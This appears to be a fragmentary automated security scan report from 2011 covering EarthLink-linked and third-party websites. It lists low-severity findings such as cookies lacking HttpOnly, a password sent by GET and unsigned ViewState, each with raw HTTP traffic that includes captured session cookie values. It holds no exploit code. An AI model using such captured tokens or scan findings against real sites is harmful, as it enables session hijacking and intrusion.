HTTP/1.1 302 Moved Temporarily Connection: close Date: Tue, 13 Sep 2011 23:00:34 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM" X-Powered-By: ASP.NET Set-Cookie: HumanClickSiteContainerID_LPearthlink_elink1=STANDALONE; path=/hc/LPearthlink_elink1 Location: https://sales.liveperson.net/hcp/width/img30.gif Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 0
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache X-UA-Compatible: IE=edge X-XSS-Protection: 0 Set-Cookie: reg_fb_ref=https%3A%2F%2Fwww.facebook.com%2F; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 X-FB-Server: 10.63.38.42 Connection: close Date: Tue, 13 Sep 2011 23:03:06 GMT Content-Length: 31384
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
GET /serv/earthlink/buyer/outpdir.jsp HTTP/1.1 Host: api.nextag.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 13 Sep 2011 22:56:29 GMT Server: Apache-Coyote/1.1 P3P: CP="IDC DSP COR CUR ADMa DEVa TAIa PSAa PSDa CONo TELi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM CNT STA PRE" Content-Type: text/html;charset=UTF-8 Content-Length: 53899 Set-Cookie: JSESSIONID=76A8AC1230B7EE1E3F1032F90ED57CB5; Path=/ Set-Cookie: nxtg=14ef0a1c0556-F52C19EE386E6467; Domain=.nextag.com; Path=/ Set-Cookie: rvd=WltaXVlQW1BbXUQHGwoHHVRZTwoHHVRYTx8NCB0MB1RYWlhcUFxdXFFQX1FaTx8NCB0MWFRYWlhcUFxdXFFQX1FbTwoFAlRZTxkADVhUXFtZUVg%3D; Domain=.nextag.com; Expires=Mon, 02-Oct-2079 02:10:36 GMT; Path=/ Set-Cookie: visitorId=-6124176400260159999; Domain=.nextag.com; Expires=Mon, 02-Oct-2079 02:10:36 GMT; Path=/ Vary: Accept-Encoding,User-Agent Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US"> <head> <style> ta ...[SNIP]... <div style="float:left"> <a href="/serv/earthlink/track;jsessionid=76A8AC1230B7EE1E3F1032F90ED57CB5?nxtg=14ef0a1c0556-F52C19EE386E6467&add=1&url=http://my.earthlink.net"> <img src="http://my.eimg.net/img/logo_neo_myeln.gif" width="144" height="40" border="0" /> ...[SNIP]...
GET /hc/LPearthlink_elink1/?cmd=file&file=visitorWantsToChat&site=LPearthlink_elink1&byhref=1&SESSIONVAR!skill=elnk-support-english HTTP/1.1 Host: sales.liveperson.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 13 Sep 2011 23:00:33 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM" X-Powered-By: ASP.NET Set-Cookie: HumanClickSiteContainerID_LPearthlink_elink1=STANDALONE; path=/hc/LPearthlink_elink1 Content-Type: text/html Last-Modified: Tue, 13 Sep 2011 23:00:33 GMT Cache-Control: no-store Pragma: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 7133
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="EN" xml:lang="EN"> <head>
GET /hc/LPearthlink_elink1/?cmd=file&file=visitorWantsToChat&site=LPearthlink_elink1&byhref=1&SESSIONVAR!skill=elnk-support-english HTTP/1.1 Host: sales.liveperson.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 13 Sep 2011 23:00:33 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM" X-Powered-By: ASP.NET Set-Cookie: HumanClickSiteContainerID_LPearthlink_elink1=STANDALONE; path=/hc/LPearthlink_elink1 Content-Type: text/html Last-Modified: Tue, 13 Sep 2011 23:00:33 GMT Cache-Control: no-store Pragma: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 7133
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="EN" xml:lang="EN"> <head>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd"> <!-- IMP: Copyright 2001-2009 The Horde Project. IMP is under the GPL. --> <!-- Horde Project: http:// ...[SNIP]...
SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.
It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.
The server presented a valid, trusted SSL certificate. This issue is purely informational.
The server presented the following certificates:
Server certificate
Issued to:
www.google.com
Issued by:
Thawte SGC CA
Valid from:
Thu Dec 17 18:00:00 GMT-06:00 2009
Valid to:
Sun Dec 18 17:59:59 GMT-06:00 2011
Certificate chain #1
Issued to:
Thawte SGC CA
Issued by:
Class 3 Public Primary Certification Authority
Valid from:
Wed May 12 18:00:00 GMT-06:00 2004
Valid to:
Mon May 12 17:59:59 GMT-06:00 2014
Certificate chain #2
Issued to:
Class 3 Public Primary Certification Authority
Issued by:
Class 3 Public Primary Certification Authority
Valid from:
Sun Jan 28 18:00:00 GMT-06:00 1996
Valid to:
Wed Aug 02 17:59:59 GMT-06:00 2028
9. Password field submitted using GET methodpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
http://integra.callinfo.com
Path:
/
Issue detail
The page contains a form with the following action URL, which is submitted using the GET method:
https://cc.callinfo.com/cc/
The form contains the following password field:
pin
Issue background
The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passwords into the URL increases the risk that they will be captured by an attacker.
Issue remediation
All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.
Request
GET / HTTP/1.1 Host: integra.callinfo.com Proxy-Connection: keep-alive Referer: http://www.integratelecom.com/search/index.php?zoom_query=xphone+internet&zoom_page=1&zoom_per_page=10&zoom_and=0&zoom_sort=0 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The ViewState is a mechanism built in to the ASP.NET platform for persisting elements of the user interface and other data across successive requests. The data to be persisted is serialised by the server and transmitted via a hidden form field. When it is POSTed back to the server, the ViewState parameter is deserialised and the data is retrieved.
By default, the serialised value is signed by the server to prevent tampering by the user; however, this behaviour can be disabled by setting the Page.EnableViewStateMac property to false. If this is done, then an attacker can modify the contents of the ViewState and cause arbitrary data to be deserialised and processed by the server. If the ViewState contains any items that are critical to the server's processing of the request, then this may result in a security exposure.
You should review the contents of the deserialised ViewState to determine whether it contains any critical items that can be manipulated to attack the application.
Issue remediation
There is no good reason to disable the default ASP.NET behaviour in which the ViewState is signed to prevent tampering. To ensure that this occurs, you should set the Page.EnableViewStateMac property to true on any pages where the ViewState is not currently signed.
GET / HTTP/1.1 Host: beta-ads.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET / HTTP/1.1 Host: p.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 13 Sep 2011 22:59:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 1388
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: asset.userfly.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: secure.userfly.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /fc.php?script=profileTargetingCommon:profileTargetingBeacon&pid=2173 HTTP/1.1 Host: a.unanimis.co.uk Proxy-Connection: keep-alive Referer: http://fls.doubleclick.net/activityi;src=1908039;type=at20cnts;cat=carshome;u20=03032009;ord=126853082777? User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 14 Sep 2011 00:23:13 GMT Server: Apache X-Powered-By: PHP/5.2.11 P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OXPT=cRAAAB59CAAAAgAAAAAAAAAAAAAAAAAAJgEAAA%3D%3D; expires=Fri, 14-Oct-2011 00:23:13 GMT; path=/; domain=.unanimis.co.uk Content-Length: 43 Connection: close Content-Type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /goto.jsp HTTP/1.1 Host: api.nextag.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /serv/earthlink/buyer/outpdir.jsp HTTP/1.1 Host: api.nextag.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 13 Sep 2011 22:56:29 GMT Server: Apache-Coyote/1.1 P3P: CP="IDC DSP COR CUR ADMa DEVa TAIa PSAa PSDa CONo TELi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM CNT STA PRE" Content-Type: text/html;charset=UTF-8 Content-Length: 53899 Set-Cookie: JSESSIONID=76A8AC1230B7EE1E3F1032F90ED57CB5; Path=/ Set-Cookie: nxtg=14ef0a1c0556-F52C19EE386E6467; Domain=.nextag.com; Path=/ Set-Cookie: rvd=WltaXVlQW1BbXUQHGwoHHVRZTwoHHVRYTx8NCB0MB1RYWlhcUFxdXFFQX1FaTx8NCB0MWFRYWlhcUFxdXFFQX1FbTwoFAlRZTxkADVhUXFtZUVg%3D; Domain=.nextag.com; Expires=Mon, 02-Oct-2079 02:10:36 GMT; Path=/ Set-Cookie: visitorId=-6124176400260159999; Domain=.nextag.com; Expires=Mon, 02-Oct-2079 02:10:36 GMT; Path=/ Vary: Accept-Encoding,User-Agent Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US"> <head> <style> ta ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /users/36588/userfly.js HTTP/1.1 Host: asset.userfly.com Proxy-Connection: keep-alive Referer: http://www.onecommunications.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/earthlnknetprod/1/H.11-Pdvu-2/s92786951046437 HTTP/1.1 Host: earthlink.122.2o7.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /weather/hourbyhour/graph/USNY0996 HTTP/1.1 Host: earthlink.weather.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.weather.com/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /weather/map/interactive/USNY0996 HTTP/1.1 Host: earthlink.weather.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.weather.com/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /weather/tenday/USNY0996 HTTP/1.1 Host: earthlink.weather.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.weather.com/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /getuid HTTP/1.1 Host: ib.adnxs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: sess=1; path=/; expires=Wed, 14-Sep-2011 23:03:02 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: uuid2=7177997117042766059; path=/; expires=Mon, 12-Dec-2011 23:03:02 GMT; domain=.adnxs.com; HttpOnly Location: &bimpd= Date: Tue, 13 Sep 2011 23:03:02 GMT Content-Length: 0 Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /script/ScriptServlet HTTP/1.1 Host: srv3.wa.marketingsolutions.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /research/s-and-p-credit-research-One_Communications_Corp_Ratings_Withdrawn_Following_Its_Acquisition_By_Earthlink-858853 HTTP/1.1 Host: www.alacrastore.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>One Communications Corp. Ratings Withdrawn Following Its Acquisition By Ea ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /home/index.aspx HTTP/1.1 Host: www.alliance-leicester.co.uk Proxy-Connection: keep-alive Referer: http://www.trusteer.com/product/trusteer-rapport User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 14 Sep 2011 00:22:58 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP= 'CUR ADM DEV PSA OUR UNI COM NAV INT STA' Set-Cookie: cmmmcSource=ownrfs; domain=alliance-leicester.co.uk; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 107629
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache X-UA-Compatible: IE=edge X-XSS-Protection: 0 Set-Cookie: reg_fb_ref=https%3A%2F%2Fwww.facebook.com%2F; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 X-FB-Server: 10.63.38.42 Connection: close Date: Tue, 13 Sep 2011 23:03:06 GMT Content-Length: 31384
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Tue, 13 Sep 2011 23:00:12 GMT Expires: Tue, 13 Sep 2011 23:00:12 GMT Cache-Control: private, must-revalidate, max-age=0 Last-Modified: Tue, 13 Sep 2011 23:00:12 GMT ETag: 8078375661534924203 Set-Cookie: SID=DQAAAO4AAAD7Xl0oDS_3Xy0JKwYeKgRj7ML9YFq-2n1aeBLdAsQ0bzlPSRJugewaOVsdc4A_oY2GclCrAKfBlQy0J2Ep-DzfiaQkBrA_OihbS8EQSwseCdUhYxMVjkJHmIaj4KkDSpNnl44CjFXit0-4sBatqFByM4_quW3RB-lkYsIIx6fDJWxwFN_AWqInf6uZCMwg4qfr-TUDYW_lzgYlJQF92P1Xi1lD_avi29HzShTNPQHNJZpRU8Ij3tTh_C1pvx4U0k8-hKd_7ZxcJi7Id5OooFnDh0niA3hU9vpf2mV3PvoONx_2RYsKUOxsO_cGHu413C0; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?answer=151657 for more info." X-Content-Type-Options: nosniff Server: igfe X-XSS-Protection: 1; mode=block Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><meta name="description" conten ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head><meta http-equiv="content-type" content="text/html; charset=utf-8"><title>http://www.google.com/search?sourceid=chrome& ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head><meta http-equiv="content-type" content="text/html; charset=utf-8"><title>http://www.google.com/search?sourceid=chrome& ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /serv/earthlink/buyer/outpdir.jsp HTTP/1.1 Host: api.nextag.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 13 Sep 2011 22:56:29 GMT Server: Apache-Coyote/1.1 P3P: CP="IDC DSP COR CUR ADMa DEVa TAIa PSAa PSDa CONo TELi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM CNT STA PRE" Content-Type: text/html;charset=UTF-8 Content-Length: 53899 Set-Cookie: JSESSIONID=76A8AC1230B7EE1E3F1032F90ED57CB5; Path=/ Set-Cookie: nxtg=14ef0a1c0556-F52C19EE386E6467; Domain=.nextag.com; Path=/ Set-Cookie: rvd=WltaXVlQW1BbXUQHGwoHHVRZTwoHHVRYTx8NCB0MB1RYWlhcUFxdXFFQX1FaTx8NCB0MWFRYWlhcUFxdXFFQX1FbTwoFAlRZTxkADVhUXFtZUVg%3D; Domain=.nextag.com; Expires=Mon, 02-Oct-2079 02:10:36 GMT; Path=/ Set-Cookie: visitorId=-6124176400260159999; Domain=.nextag.com; Expires=Mon, 02-Oct-2079 02:10:36 GMT; Path=/ Vary: Accept-Encoding,User-Agent Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US"> <head> <style> ta ...[SNIP]...
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ticket/7233 HTTP/1.1 Host: bugs.jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
